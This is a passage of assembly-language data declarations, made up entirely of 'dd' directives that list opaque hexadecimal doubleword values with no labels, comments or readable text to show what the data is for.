0BABAA2B6h, 0B308AEF9h dd 34285Eh, 0AC23141h, 6853D2F7h, 1A0EA609h, 0C001F556h dd 41B62279h, 2EDA24C0h, 0E2FD3A3h, 0D02FE8Bh, 0E6F45B5Fh dd 0D847DF60h, 0DDBF3206h, 82DF310Bh, 0DA9475C6h, 0D1073C82h dd 8A07A6CCh, 0A22A4A13h, 117D617Ah, 45D0E2AEh, 0BAC8A886h dd 0CA3613AAh, 4AE10866h, 3980BF00h, 2DC15BC5h, 0B94006EFh dd 0BA800C3Ch, 793D09D4h, 7800421Bh, 344E7375h, 0F60B6690h dd 500F9F7Ch, 36EF009Bh, 0E92FC33Dh, 0A0971EE3h, 9C727649h dd 415BB801h, 5A56A35h, 9A819845h, 0C37010BFh, 2E0A1660h dd 0E712F1B7h, 4534F098h, 20F07458h, 0DDB30707h, 0A52BF380h dd 0B7B59156h, 5DF03F44h, 0A3954EB8h, 2FA84AB4h, 0EE84D3DCh dd 4D4BAE28h, 0CE852B7Fh, 88EBBDCh, 61CB9117h, 6FF3B1C2h dd 13E802C8h, 659D206h, 6B4E5E1Ch, 0B78DF488h, 77ABB2BFh dd 0E961D051h, 0D739F3C6h, 0EBFC0770h, 0D2EF21D6h, 275FB561h dd 0F9057186h, 14DFD208h, 6883555Bh, 0B5123B63h, 0EC299EE8h dd 0E145462Fh, 0C1061D44h, 37D51B5h, 6153050Ch, 0AA5E373Eh dd 7EDC3521h, 9D688AAAh, 0D7E91901h, 0BED42B18h, 0A700780h dd 24ECA801h, 617F0048h, 18EBE681h, 809F3C8Fh, 3FA8C256h dd 707EB703h, 0DA0BF6BDh, 0FA37DBABh, 0EDBF209Eh, 45E5A52h dd 5D666856h, 0CED305FCh, 145E265Eh, 0C2B608h, 0F681CE87h dd 0B5162D4Ah, 0C0BE0932h, 0CB4DC015h, 7C5A6160h, 0CF069C23h dd 1FC4F1FAh, 398FAE2h, 8C424A4Ch, 525AB98Eh, 0FD17DFDAh dd 0B82AC4CEh, 0E956E023h, 90704BA6h, 3DFEF313h, 0B4A0477Ch dd 0B092352h, 5FDF21A8h, 0CEE913CBh, 4EF7F473h, 0F604E8BDh dd 0D60C1308h, 0A7C7178h, 0D9E32E8Eh, 900B939Ah, 212F7FF8h dd 127D94D0h, 0BF3B2068h, 63815934h, 8A3FA9F3h, 27B11F9Ch dd 5AAE0497h, 1BB0C2F9h, 9730617Ch, 4AC50C6Eh, 81574EE8h dd 7B270209h, 96468628h, 32762F2Bh, 755456F0h, 0F8C15AE9h dd 39A5A9CAh, 7420C5Eh, 95560BCEh, 1660AB28h, 61F8EE47h dd 72EB4866h, 0B86BC955h, 55CE32Ch, 8048DF30h, 0D1918368h dd 2C642750h, 0F028571Fh, 0D5FA9F09h, 0E7D9DB3Bh, 0D9296980h dd 0CE2EDE2Ch, 0F6357EDCh, 0B0BB0AACh, 0CD40A4F3h, 0D2E19F5Fh dd 7E0A7231h, 0CC067D3Dh, 5EC6CC87h, 5FE14BF5h, 4A5BD002h dd 0BFEC9BB0h, 12F6584Eh, 0F6013C91h, 509F087Eh, 25AD0C82h dd 9DD5B22h, 20195278h, 219835FEh, 0B87D3220h, 96042030h dd 8583C19Fh, 6055CE5h dd 0CD57282h, 8D3547BFh, 2A5E5729h, 4E7263ECh, 8CABE030h dd 765E6579h, 70587E1h, 62DFD505h, 3B60A88Dh, 0CC2BFFCAh dd 164A81EEh, 0E3EF930h, 0F75B0B78h, 798948D8h, 19A0EE81h dd 0C2C9202Fh, 515C100Eh, 0CFBE590Bh, 5FDAAD2Ah, 0FF15314Ah dd 490287A6h, 0C267B405h, 132C7982h, 0FADA5663h, 9B6A0B3Dh dd 39F25E91h, 20268E17h, 0D13A803Fh, 0F2811300h, 0DEDFA5CCh dd 0E9D60929h, 97E4BBFFh, 0FD243DAEh, 0EE40D53Fh, 4A8F3958h dd 68164229h, 0A09A66CDh, 0CAAF835Dh, 68351232h, 0DF09BC1Ch dd 704A0C92h, 0B5178F5Bh, 0EEB869B0h, 2C5D0339h, 8EC80BBBh dd 85BA2E4h, 25576E9h, 6870CE80h, 0DF939498h, 0EF049892h dd 6AAE58BCh, 9698C2E2h, 73AA883Ah, 374137DCh, 8E6A6D77h dd 0AEBAC197h, 55FE1A3Ah, 0E457468Bh, 9109823h, 96A3030Ah dd 7ACB4276h, 88C1B586h, 2E480A12h, 91C66813h, 7169867Bh dd 0FB2960FCh, 5D0B5DD6h, 0A6D8F6F5h, 3B6702A6h, 6157761Ah dd 0B32E5D94h, 2CCAD61Eh, 6C685305h, 1388B31Eh, 81B31288h dd 80DFF82Ah, 5B68F6AFh, 6330ACCFh, 9218DAA0h, 2048C02Eh dd 793A122Dh, 0A350043h, 0E93BF402h, 2493092Ch, 0BD569EC4h dd 898D138Eh, 1B1637A6h, 2F52D954h, 892B1A9h, 0BE01E17Ch dd 59FF3403h, 3DF0F7F1h, 0B971BD74h, 97176C4Bh, 0C320BADEh dd 29E03A20h, 2E40158h, 0B27EF8A7h, 979A9CFDh, 9498D941h dd 176BC364h, 28BBE29Ah, 0FD41A912h, 4D2FD2Eh, 27924CC9h dd 3A0D7FFh, 50C0E06Bh, 291309B8h, 0C2EB25A6h, 52FE6F29h dd 0DB7DBD01h, 0FCE8B55Eh, 421B9138h, 59553487h, 0CAAF88B2h dd 0F2A0501h, 0B16A1FDFh, 707044Dh, 0F009B7A8h, 0E16E97Dh dd 0AEEE55C0h, 0B256582Dh, 0C2C8FC28h, 5DB252D7h, 0F213E0D5h dd 4FF4FA91h, 0E0705279h, 0BB2D93Ah, 173A9BA0h, 0E41D6830h dd 506C3692h, 9190FE21h, 2D83036Eh, 3825501Ah, 47C371E7h dd 0C96CD6C6h, 73A86806h, 5DDC051Dh, 4001F77Ch, 0FF335B2Dh dd 7870F17Bh, 4AC1705h, 0E32D64FCh, 95D50D92h, 0D366ADECh dd 837F6825h, 4C64E96Bh, 0D3092E90h, 0E75CDA87h, 562CA705h dd 7BCFC6C0h, 620F2605h, 1A53A96h, 72481ADDh, 395348EBh dd 0EEF74E7Ah, 7F960654h, 564E7207h, 0D1E6CA87h, 5AC59508h dd 0C2485449h, 8E7D56E9h, 0D91E9502h, 5B02F9EAh, 3917DADEh dd 0A1C49CE8h, 400E12CDh, 6613F0A9h, 5C13FFADh, 47F41F58h dd 21CC3A7Bh, 0B504074Ch, 0EAB41B03h, 0F2BAF1C4h, 77E909EBh dd 7056E8C2h, 78B3BDA4h, 3E6E19D1h, 0A0076892h, 6517BF55h dd 0E9690EBCh, 0EB12931Fh, 680BA78Ah, 2CD30647h, 1186E904h dd 60FF5D09h, 0B4B7D6A3h, 63AD63DDh, 0F5E7BB84h, 86C6D15Ah dd 25A18D38h, 26413B57h, 0CA2AD3A6h, 5E1B1009h, 5FB1BD02h dd 0E05F6247h, 171CE5A6h, 0F0366116h, 795BE90Ah, 31F98F12h dd 1EE4BAC4h, 7706E3CBh, 0F9D4A30h, 0C6604A2Ch, 0C0652E02h dd 32C1FF62h, 0D8C5EB68h, 17008B48h, 0E32D642Ah, 0BF0858DAh dd 14D0D78Bh, 777432A0h, 56269200h, 0D96031BEh, 89F0BFDEh dd 0C6E0294Bh, 0C28EABECh, 23DF6EEh, 555358FAh, 0DFC4F680h dd 8CBF3EF2h, 0FA721E52h, 90B3048h, 30CE8112h, 0E022B27h dd 229FCFD0h, 59F08954h, 0B9684167h, 0DE357F57h, 0EE2AF704h dd 4F06EAD6h, 4AB3E820h, 0EA68893Ch, 0EAC5A810h, 0E39ABF7Eh dd 0B1275C5Ah, 7FCCBAB5h, 1C2062DAh, 6148B7C8h, 54BBC60Ch dd 714D930Bh, 4AB58A7Ah, 0D1E9865Ah, 1A258B66h, 507EB149h dd 0A576ED6Eh, 0A85ABC21h, 7220F76Bh, 0A6511150h, 0CDE8F05Ah dd 47254B94h, 0F92A9A25h, 0C6A85A51h, 0E193FC4Ah, 5CBE215Ah dd 0CC1EB5E2h, 7C26F0F3h, 0E5B18116h, 0CE5012Ch, 0EA2DD30Eh dd 0F2955D73h, 637AFA54h, 0D3F686C7h, 0BCD87BBAh, 0CA6FA5B1h dd 0E4ABC6AEh, 0A8AAE52Fh, 0EC504F0Eh, 9C46F497h, 0BD91EFF7h dd 42206650h, 9775A086h, 3A7B76h, 616F7BB8h, 5AD03162h dd 75D8F739h, 2D064060h, 9840B75h, 25660522h, 0C2242A58h dd 0D5421E58h, 0E2D40BE8h, 0F113E529h, 0BBD16A0h, 16193420h dd 0B3FA41F8h, 0A5CA425Bh, 0EA6E681Dh, 8A28ED81h, 0A7EB994Bh dd 0DA6DC9Eh, 3F734C96h, 5BCAF8F0h, 0B0CA8899h, 13DD08E9h dd 77EBF15h, 861F60BAh, 790B180Fh, 229C09h, 2B37C6B0h dd 9168136Eh, 0C575E80Bh, 9DEAD95Fh, 0ACF26EE3h, 6B79F0D3h dd 848B6949h, 0BF00635Eh, 79C61D91h, 95F7811Ah, 8502D50Dh dd 552ACA01h, 481A110Bh, 3D2AF7F1h, 13963A9Ch, 0C42CA802h dd 0A412D9C5h, 3090F50Dh, 0BA793724h, 0A884FEC5h, 12AEB6BEh dd 5B9384Fh, 5265EBD6h, 8C131AADh, 925FECF8h, 4EC96402h dd 74B882D6h, 0AB5D04E1h, 28232C41h, 0DB285057h, 0ED729385h dd 6EAF5A2Dh, 535C1347h, 6505C402h, 1D86823Ah, 0BC205FFBh dd 2205BC5h, 0ED05FD98h, 3E952FA3h, 83802D97h, 0B8999B8Dh dd 7ACE279Ch, 35B056Eh, 0BF7E990h, 0E491312Bh, 0DA7C62Ch dd 0A0129902h, 2A1DC5A4h, 4D081B90h, 0D2FA6845h, 50613158h dd 479342A9h, 46F26F1h, 0F65166C9h, 0DA6424C2h, 3507B3A8h dd 44D03ED3h, 8580BBC3h, 402D875h, 0E0327AAFh, 82741946h dd 768D8375h, 0D149248Bh, 38401C81h, 132AFB5Ah, 1C21FE4Ah dd 12C23094h, 0D51E5518h, 8105D182h, 99685FFDh, 47F7C24Eh dd 4ED92551h, 0F7010909h, 0B081D946h, 2F003F16h, 4B2367B8h dd 962D0709h, 0F305DF11h, 5B4C4D78h, 1AA44B96h, 5BE54073h dd 90A6EC9Fh, 0EC224E15h, 36AFE43Dh, 7071E14h, 294E6B43h dd 3B8E44F9h, 28A5E2D1h, 0C2FE8100h, 800FD2F6h, 0CCC011F2h dd 4BE90D05h, 0BFDE80CDh, 0FF0B0774h, 10F73139h, 80C35017h dd 3A09F580h, 7E04EDC0h, 62C48E51h, 0BADCEC0Fh, 13C359ACh dd 2F1D89FAh, 681024E2h, 48A549C4h, 0F03F1709h, 60467BE4h dd 15C7EDE4h, 47174833h, 3B10CF01h, 72E90C08h, 722D265Ah dd 1D5B24C0h, 0BD10183Ah, 0EA2D9F4Bh, 4F4758CDh, 5D6609E1h dd 39C495FDh, 38D4E82Dh, 0A2189CC8h, 16CEC233h, 106B9301h dd 0F320E47Dh, 0C34A5970h, 3FF629AFh, 74EAEB92h, 577E2727h dd 931CA5Bh, 0C301A7D4h, 5AC45623h, 6C5C0C82h, 6D00653Ah dd 1419F574h, 9286EFE9h, 0D1D42393h, 0F4E6D2DFh, 0FC907D66h dd 2A624809h, 114DC69h, 64370DCBh, 2952824Eh, 0DD842172h dd 0BABC12E3h, 25E9CE2Ch, 0C8A0FD63h, 13D87ECEh, 3E8C10Bh dd 50DD452h, 817BCA65h, 6258A87Bh, 712E05BDh, 4B8337D0h dd 0E90D172Ah, 0DF540BCh, 31413DF5h, 5D552505h, 0C58674DAh dd 51081E5Ah, 647C7B9h, 5DD86928h, 7800D894h, 0E9415E03h dd 772E4B45h, 14F4B208h, 4688CBF9h, 0E85C13F1h, 3DA18041h dd 48F7725Dh, 462D48D2h, 3E66A5B9h, 0E9B0BDBCh, 0A5BA2D53h dd 76B92950h, 0A96DD341h, 2793C603h, 0FFF12801h, 75F0343h dd 4F53C876h, 0FB1CC216h, 9087DAD5h, 0B5511256h, 8945FAC3h dd 5188F020h, 56CE406Fh, 450F9498h, 844B474Eh, 28054933h dd 54C9ABF0h, 17B30720h, 0EF78044Bh, 0E91FE31Dh, 5527536Eh dd 916F18B0h, 0DABECBDDh, 1CD475A8h, 0B6482904h, 0A7148030h dd 60BF2102h, 712067C5h, 0CEBF845h, 5B2B110Fh, 0EF0B2D0Ch dd 8989E619h, 0E29443C2h, 0BAB17FAFh, 9657D23Ch, 92683FCAh dd 47864959h, 0F9BD10B2h, 0FC6E89CDh, 1D013C51h, 0D9291F5Fh dd 25712C7Ah, 0B089125Ah dd 4AA75440h, 5D652D7Eh, 0C50FF0D2h, 855E852Bh, 6697F6E9h dd 87E580FFh, 0B73DDF5Fh, 0F161AF40h, 0F605207Ch, 4979344Ch dd 120003E9h, 0E9FDB38Ch, 5E804027h, 0E9A2E68h, 0CA60699Ah dd 0BC4D7F7h, 35FE4F5Fh, 0E46F5EE9h, 0C02A0F7Ah, 0CF29D0E0h dd 0AE5AF5E9h, 0D99042B3h, 0AD483620h, 5FEB0A3Ah, 0D109F63Ch dd 823454F0h, 339548AEh, 0D32F9D76h, 68C30229h, 9D5C6AFBh dd 0F0F9B692h, 0B3330992h, 4E88FB51h, 0BC30161Eh, 0D98619B6h dd 206ACF3Ah, 0DEC8DCA3h, 77F542B7h, 9A0BE4D1h, 836CF405h dd 2F165366h, 26D812DAh, 0C9B7DB9Dh, 0D022E2FAh, 5E099F01h dd 3A101C8Dh, 9790D7A6h, 92ADA35Bh, 4FF95604h, 81FE2900h dd 2D31D6EEh, 0BD471A59h, 0F9E217Ah, 275E3DB8h, 1E4A09D2h dd 0B529896h, 2D976E0Bh, 440886DEh, 525C0023h, 8670B050h dd 0D3F6D819h, 1CD1E908h, 6035B66Bh, 885BB5F2h, 97D495EFh dd 3808364Fh, 39D1A7E0h, 0E9921049h, 68754C23h, 0BE84D2h dd 0F33A12BCh, 0D89E4720h, 0F729F905h, 0AF6EC0AFh, 655AE611h dd 0E6008AF1h, 0D6FBFD8h, 7F14E9ECh, 0FF0CECDFh, 0D8E32427h dd 0C0519CF6h, 4C48587Eh, 0DFE7E925h, 2CFC56A9h, 8FF95097h dd 13AAF740h, 0A27D3335h, 0F5057BF3h, 0F029FABCh, 16B12AB8h dd 0CF438B96h, 0AF3AD959h, 0C0770CAFh, 2A4B6824h, 0FE14EA95h dd 0DDD62F51h, 0A44CA070h, 6C92032h, 7496BE09h, 13D1DC7Ah dd 9FDF004Eh, 0E96F24DDh, 53149D25h, 5B5C4206h, 0CF336AE0h dd 0C2599397h, 977B5874h, 5CF91AFCh, 0F8904088h, 1ED5015h dd 368F2558h, 0FEC86305h, 70833326h, 88B3FD9Ah, 5AD029B0h dd 7BC1012Ch, 0D117CB10h, 265C01EAh, 0F563C620h, 5B07273h dd 8057A1F7h, 84870081h, 0C5D7C739h, 6197D865h, 98460740h dd 8B3C0F7Fh, 0EC85E201h, 4D74AF52h, 0D5545382h, 0A36EA8EAh dd 0E2C4CF4Eh, 5ED284ACh, 61F913DCh, 6EBB1E3Bh, 1CF5DC8h dd 81560B4Ch, 0D57E71F1h, 18883810h, 61282B57h, 2DC3789Dh dd 0F87EBF35h, 31296861h, 0B7C96538h, 0A3457F90h, 0CA200181h dd 7B0B416Fh, 82E7B3E0h, 100913DEh, 0BC45E706h, 234F4840h dd 4B354D31h, 1293B03Dh, 1074B858h, 0BF02921Bh, 74077094h dd 279A7855h, 55DC3D3Eh, 9B850B78h, 587E2664h, 1565CD68h dd 0EC948BDBh, 10E7CAEBh, 0BD2DBEA5h, 5511C390h, 8C6B5181h dd 0A00AC204h, 89731308h, 29398918h, 783798CAh, 75999781h dd 0B1DA4255h, 4EC11E80h, 0C8F66B49h, 5F162BB4h, 57EC1B09h dd 7FB51398h, 707F885Dh, 80B9F37Ch, 783B2A3Bh, 9E05D29Fh dd 933C594Bh, 81BB5D8Bh, 0BF1C4FB5h, 0AC07902Bh, 0BE2A063h dd 0C5FE8A05h, 0C1E580h, 0E76BF992h, 75BA4E0Dh, 96DAFE63h dd 9360102Eh, 4099EA66h, 0F982D26Bh, 5BBF8ED0h, 0BDE0886Ch dd 0D3005913h, 1A1407BCh, 5FF92409h, 7A200274h, 6C2479E3h dd 527896B1h, 2F688DD6h, 688236B8h, 3B744493h, 187D4762h dd 8BAA98E9h, 6F0BC07Eh, 0C931EC8Eh, 0A844B470h, 0D06001A0h dd 0DCAD1D93h, 5BDE8B95h, 917A001h, 93CC3F01h, 2CAEB6A9h dd 3CA20FA8h, 795C4709h, 2783E601h, 0AC2A0C9Fh, 0C080DD78h dd 56C5DB85h, 595E585Dh, 0D23D1C03h, 10B5291Bh, 5D2C08D4h dd 4626B9B7h, 4B28C5E8h, 986031CAh, 68808283h, 98FEB2B4h dd 27C6964Dh, 1271457Ch, 0D968CE52h, 0D10109A1h, 0F4B74F10h dd 0BBB5380h, 4D074BA1h, 9E69E570h, 8C79890Fh, 0B0EFFA09h dd 0D9285C56h, 4776ED04h, 1FA4C054h, 514B974Ah, 41DC638Ch dd 0F7B2EFDDh, 5497EED8h, 0CB6C9A0Dh, 91B89400h, 48BDE134h dd 25FF8C1h, 3F8B0D5Eh, 0E2D56C9Dh, 51246AA0h, 0B2BE0B94h dd 8888EB51h, 0D83105D5h, 3223925Bh, 742D3956h, 0EF77D1E7h dd 0C9F4105Eh, 0D9750BC5h, 9684205Dh, 13561266h, 955F28A0h dd 0F4585E56h, 8739B8Eh, 0BA019916h, 12E2685Fh, 0FE342630h dd 0E97C09C8h, 0F2DAD1FEh, 3538C109h, 0E524403Fh, 6123058h dd 8E1B0F0Ch, 283B1A5Dh, 0F1EA08E9h, 33173D94h, 16D538BFh dd 0C4A3BC4Eh, 274CA710h, 962EDC5Ch, 58B782E7h, 7E2FED80h dd 81A0014Bh, 2B136882h, 44AC2962h, 4FD50844h, 0D224FB5Ah dd 6E6F70C1h, 0D476273Ah, 0AB530F7Ch, 7568ABF2h, 1C408D34h dd 98DE97AAh, 0CEBBF913h, 172350EBh, 0E447F34Eh, 4B84744Ah dd 689181FAh, 12A36F0Eh, 0F29F573Ch, 5F1348h, 4E01CF42h dd 0BB90496Bh, 0F91EA012h, 17B804A0h, 0BECE8DCh, 24CA0359h dd 0A455FBABh, 0F1B9ABE6h, 0B03E21Eh, 191BF494h, 245175C1h dd 4C5FF5CBh, 0D10DBA7h, 0D15E272Ah, 3E630CA6h, 0BCE49B33h dd 315D4709h, 2026DAE8h, 813B9E7Ch, 0A71209F2h, 0ABAE8076h dd 0DC529130h, 110D04C6h, 9212EEC3h, 0AB0301FAh, 3B15A23Dh dd 0BC9F57A9h, 0EF4E87BCh, 25C29D34h, 75A7EAB8h, 3BF735D0h dd 0FDED8EE1h, 0C660BD6Ah, 1995AD4h, 0E04E66C2h, 82DAF751h dd 3570E610h, 0E92F60A7h, 90CC9A59h, 0F16B2EA7h, 7E4B8222h dd 20E96AE8h, 500E297h, 7AB2F89Ah, 0C3C92F2Eh, 3E7813FCh dd 693394ACh, 0F6B54266h, 8EC17257h, 0C8407FCFh, 0F8621CB7h dd 0F1EE4031h, 0F7D8E917h, 0A1070FEDh, 0BE61392Ch, 7DFC87CBh dd 9BE0556h, 0E0725879h, 310FA282h, 0BB7088h, 0D1166646h dd 693498EBh, 897686D2h, 0E8C92E1Fh, 39F2002Bh, 7C1DA342h dd 9DBA201h, 20C47908h, 0FE5D4F17h, 0A4E9E646h, 9B59B8A3h dd 0C68040ECh, 0F002301Fh, 5B685A66h, 0A0BE462Dh, 80D97B01h dd 705A8BDh, 0EA01677Dh, 0ABF4F9ECh, 34F24DCh, 0E9486561h dd 5B58BB25h, 0A1E1316h, 3BBC7050h, 25E68B0Ch, 0FD82DD09h dd 0C6DDCEB4h, 20717D28h, 0B040CA2h, 57626922h, 2C5F9CF0h dd 2F28504Fh, 28BB9D00h, 0D81AECF2h, 57A9DF29h, 0C6C36F1h dd 0D2FEF6E9h, 0B71B006Ch, 480CBE10h, 1BFE2DE2h, 5C92B12Fh dd 58DD392Ch, 302C23Bh, 0CA01607Ah, 8014442h, 28B72FE9h dd 868C25Eh, 0CCDC5C75h, 2102D068h, 4BE974F9h, 0C8C55702h dd 3A6E6884h, 0E94B07F3h, 8F893A5h, 0BB6D71E5h, 8A322F3Bh dd 2F4956F8h, 76EBB551h, 459C17F6h, 47BB188h, 0BDD173ACh dd 3261296h, 1E1BCF8h, 0A4A22ADAh, 730A6801h, 0EC586BDFh dd 42C0CC4Fh, 0CAB45052h, 26E67B88h, 52FFCB57h, 4B4D0681h dd 0C51C7044h, 6B60947Dh, 256CE50Ch, 187F6033h, 0D7DCFAA2h dd 80C4E913h, 97D3DAFh, 46042F0Ah, 7CA43363h, 6829138Ch dd 88A20A46h, 4DE90106h, 2E163C6Ah, 8C1140Ah, 0BBEC5A12h dd 81B93BB1h, 7C2DEDC7h, 0A2826D49h, 0ECA613Ch, 658C29D5h dd 0B1E9628Bh, 76B5B6D8h, 1C2F5444h, 309EE8DDh, 53771F48h dd 0F3420B5Fh, 67AB3057h, 87183F5Ch, 8CEC2E7Fh, 50538B54h dd 2C0C1550h, 0FC2EBC08h, 3C03BA73h, 8EDC5468h, 0DF9DE9F0h dd 63950A92h, 0FDA9AE7h, 0FAB7EAA5h, 0F680CCCh, 23A613D0h dd 945E5CC5h, 8110EE75h, 6025C92Ah, 1E2ABA5Ah, 965E376Dh dd 0B04D8544h, 0AE4F689Ah, 1583B8F9h, 3E2D191Bh, 0BD237816h dd 30785656h, 0ECFBD288h, 0EEF4A7D0h, 0E9213BB0h, 607871DDh dd 0BEC0B352h, 22DE2862h, 0CB84E916h, 940532F2h, 82D7C0EBh dd 1EC8DE32h, 8BC09FCEh, 4F40E6CBh, 1DF8BD29h, 6D04F20Fh dd 0E5EBA063h, 0C00FAA15h, 0D0A9F46h, 794AE9D8h, 535D4E03h dd 2756EE89h, 2077585Bh, 6D324622h, 53744001h, 0E90ABB50h dd 9DC0684Bh, 74C8B966h dd 94C2954Eh, 8B8249DDh, 0B411BC3Eh, 4068C4F0h, 34090520h dd 568B06DEh, 275425E1h, 24E0A488h, 0E8291353h, 0EE81B023h dd 3B3B7BDAh, 0E90B012Fh, 11140858h, 3D171BDh, 24D26866h dd 0C591A4A4h, 27AC2FF9h, 2C0246A1h, 51CAC4F9h, 4790561h dd 0AA6513EEh, 2A68069Ch, 127937B2h, 0BEBFE951h, 0F684F265h dd 987F05A8h, 374C0216h, 0D1892B7Fh, 418233F1h, 55F11FE9h dd 5A674851h, 0F7EE66F2h, 0EBBF78EEh, 77C1C314h, 0C3282D39h dd 82874E1Bh, 0C0F55166h, 2B7455Dh, 59EF3090h, 9B7DF988h dd 0EC078532h, 550BB161h, 51A70045h, 0F6FAA7E2h, 851E4F95h dd 0AD2032E9h, 84F63983h, 5F263C61h, 90B6A2AAh, 46BA01F7h dd 0E9564A37h, 0DA80E6C1h, 0CF2DE801h, 33754371h, 0AE2F250Bh dd 42F20230h, 50327C1Ch, 0C08216FFh, 0BF65EC3Dh, 0BB240A4Ch dd 0E581CCB5h, 7E523826h, 0F6E1092Eh, 0D625A3DEh, 0C00A89CFh dd 35A149A6h, 0CA4F459Ah, 8181F6E2h, 0CD2547E1h, 0AF0C8202h dd 0C0387A66h, 28CDDC07h, 4F97AD83h, 0BEFD84CFh, 0D9D6B809h dd 8FE905F6h, 68D8BFB9h, 2D07B4ACh, 0BA047CDCh, 0FF0B3Ah dd 2E75F9D6h, 0B9095145h, 78B14F46h, 73BD1284h, 0E5480504h dd 0ACB8E49Bh, 5E537B1Ah, 0FA6F7758h, 0A74974A5h, 1E4E209Ch dd 44B64180h, 5AF70488h, 832BC780h, 0FADB5234h, 0C6092427h dd 0A54A942Dh, 84279557h, 0EAAD41E9h, 0DEBBAB77h, 79DECBF7h dd 13E8AA88h, 0DD770857h, 5BD82105h, 3B89B5BBh, 4CEEA4A1h dd 662E27F1h, 2F4B4AA2h, 0C2B74E43h, 135FA688h, 70D2C345h dd 32F37F83h, 0FB6370A8h, 88E26777h, 40A86FE9h, 0BFC79F20h dd 0E46F2D79h, 9DAF28EBh, 0A3CF14C6h, 0B768093Ch, 5FDAE669h dd 0B13EBC92h, 497ABA71h, 60FE6637h, 810122BEh, 0F96C8992h dd 3E55680Ch, 0CE5F0887h, 0C1592CBAh, 6C2EE76h, 0D0BDE908h dd 82546450h, 98D8FAE1h, 0DA2D0BBCh, 2B5D3148h, 0FDF70280h dd 6B19FE4Fh, 0C0A3665Fh, 0A4685270h, 22070610h, 0F673BF5Ah dd 0FBE93A10h, 0EFD1D3D4h, 54683628h, 5EE99E69h, 0BA66C59Bh dd 0C71093F3h, 0B45A02B3h, 0C1EC2805h, 9108E8F1h, 866D642Ch dd 0D78FF101h, 4F7E474Dh, 37F2EE8Fh, 0A97C824Fh, 10A15305h dd 0AC09D735h, 54AAD2Ah, 385D4368h, 0D395F4AEh, 5AF4443Eh dd 389F75B3h, 1319985Fh, 5F3944Fh, 13DE7F26h, 0E924A0D9h dd 0DEF5352Dh, 0B8B4544Fh, 30738E88h, 35F0CF8Ch, 9664C26h dd 25BD7600h, 9E46E9BAh, 1D3315AEh, 6E31EA5Ah, 0F46B3CE9h dd 0D695CE16h, 22E970F3h, 0BA530095h, 149A5C12h, 0D6D73127h dd 604EC216h, 9A3822F1h, 13504A3Fh, 0DFB81BC1h, 4537B5C1h dd 0E340E232h, 0E91CC509h, 0FE2D74CAh, 205779DBh, 78394C40h dd 0E94585F1h, 8EAB0552h, 65A7E09h, 0E1FD1092h, 8F6FBE53h dd 2D084061h, 7409780Eh, 2138A146h, 0C43B48CFh, 68071DAFh dd 629AB511h, 9E78A575h, 0A518E4ABh, 788F721Eh, 0A84843C9h dd 2A3C9226h, 0ED85C433h, 2B64FDC9h, 64E4D497h, 6738D5F1h dd 9D1AB397h, 33F35102h, 0D65B5D17h, 0B5327A0h, 648CEB01h dd 0EDF07D73h, 494E061Dh, 8ADD2936h, 0EFC00882h, 5195BDEFh dd 9C84C9A8h, 1498AFB2h, 0AD6914Eh, 41862262h, 0E67F46AAh dd 0F9023061h, 79C42F19h, 9AEA6ABh, 2381D26h, 0FE44A231h dd 0DB03E9F9h, 57012679h, 2C7488C7h, 74204F64h, 0C69405CCh dd 60FE8954h, 0D702E9CEh, 13DBD19Fh, 0AB9E53E8h, 2B58A0CEh dd 62CDCD24h, 87D7D488h, 0D86450F6h, 906C1FBh, 45F66A5Eh dd 3BCCBBD2h, 20B14176h, 8E0B9714h, 82298F12h, 66D3010Fh dd 53AC2275h, 0F4F26320h, 6046B671h, 4616EDBEh, 0E6C1730Eh dd 7613B306h, 303954EFh, 0FC858D40h, 1C41B77Eh, 57DAFCEh dd 9EE1326Ah, 4A52E77Fh, 0F8A418ADh, 0A38E5F8Fh, 107BE64Eh dd 661CEB08h, 8FFFAC56h, 5F091F7Eh, 0E90E46ACh, 0DDB81731h dd 0C426125Dh, 7866AB05h, 0AF940114h, 7EEF4399h, 0B9EE98D0h dd 4CF60B0Ch, 0F8C893E9h, 647707EFh, 0F729101Ah, 5E0804FCh dd 242C86AAh, 4F4F7CA4h, 4C84DCA9h, 0BE6601E7h, 2DD035E2h dd 1F2FB060h, 0D62A805h, 0BD16F001h, 481FEA0Fh, 0C29D512Fh dd 375E29C9h, 0AB70296Fh, 314E0096h, 98379149h, 98F31ED3h dd 42125679h, 99C4E922h, 3C20DFC4h, 0AE5EC1EBh, 2A35BF62h dd 21A48912h, 2C23BD29h, 43E934B9h, 3040E701h, 0C34BE908h dd 0EBC03702h, 20CA4206h, 24FAB9E5h, 8A3B582Ch, 0E75FAF03h dd 0E0B412Eh, 8269CF2Bh, 7454227h, 92AB6552h, 8743F6D1h dd 0ABE9A9F2h, 98AD6B5Eh, 6A64AFB5h, 9A2792A8h, 0C55B5606h dd 0FDA7A2A5h, 0AFD80F10h, 82518082h, 0F64AF40Eh, 51EBC5Bh dd 80475D5Fh, 5846497Ah, 0D635267Eh, 0CC817D23h, 0BE6C52A5h dd 0BE0556ACh, 10E03A9Ah, 81BEFB13h, 2EA42ABBh, 8E867ED4h dd 1259950Ch, 7A1C9ABDh, 0AA98D5D1h, 0C8B5B41Fh, 5153FD3Ah dd 566EDA71h, 0C2C500Eh, 0D0245E4Bh, 4DBD050Ch, 970B6A07h dd 0F578C204h, 0A942FD59h, 78E8A193h, 0B06A4F75h, 0CFA49B8h dd 40B54492h, 0E659BC7Eh, 0EE4AEA41h, 74D8E00Ah, 24E92F04h dd 0D97FDF62h, 0A1E950F3h, 21EB6464h, 0AEE395ABh, 0FD68ED80h dd 0B83FE109h, 0ACE9A171h, 0A3DF162Ah, 0A680C17h, 5EEE215Fh dd 0FFF044A0h, 3FB169Fh, 0F7285C15h, 3C9C81B5h, 57EA10B0h dd 0CBFA2F20h, 156B0D5h, 0B6051DD8h, 0CA4D1218h, 74754B3Ah dd 0B2FB3EBh, 0DBAE6857h, 0BE772D83h, 0F233A05Bh, 3DC68997h dd 0BDE25B65h, 0CB46AC4Fh, 0FD66C257h, 8E32CABAh, 11EC9B81h dd 5F3B20F8h, 403FA641h, 1C350308h, 677A5162h, 0FF10C0B5h dd 0F124D3B1h, 0E41420A9h, 76301F13h, 47608A00h, 60F74C94h dd 674910D7h, 15EC2C4h, 40E958D0h, 976D4C8Fh, 9697243Fh dd 0B0B71466h, 0F0874D1Eh, 0F8D9C01Ah, 192D2598h, 0C10D12C9h dd 2F797BFCh, 0AD4FD197h, 0FD0101C0h, 9B2A020h, 5F2D6E3Eh dd 2538F5Dh, 402BD074h, 5F31AB35h, 739B0A7h, 0FE5BA290h dd 0C07A0289h, 0BD614033h, 0CBE64C5Ah, 2FF7111Ch, 307945Fh dd 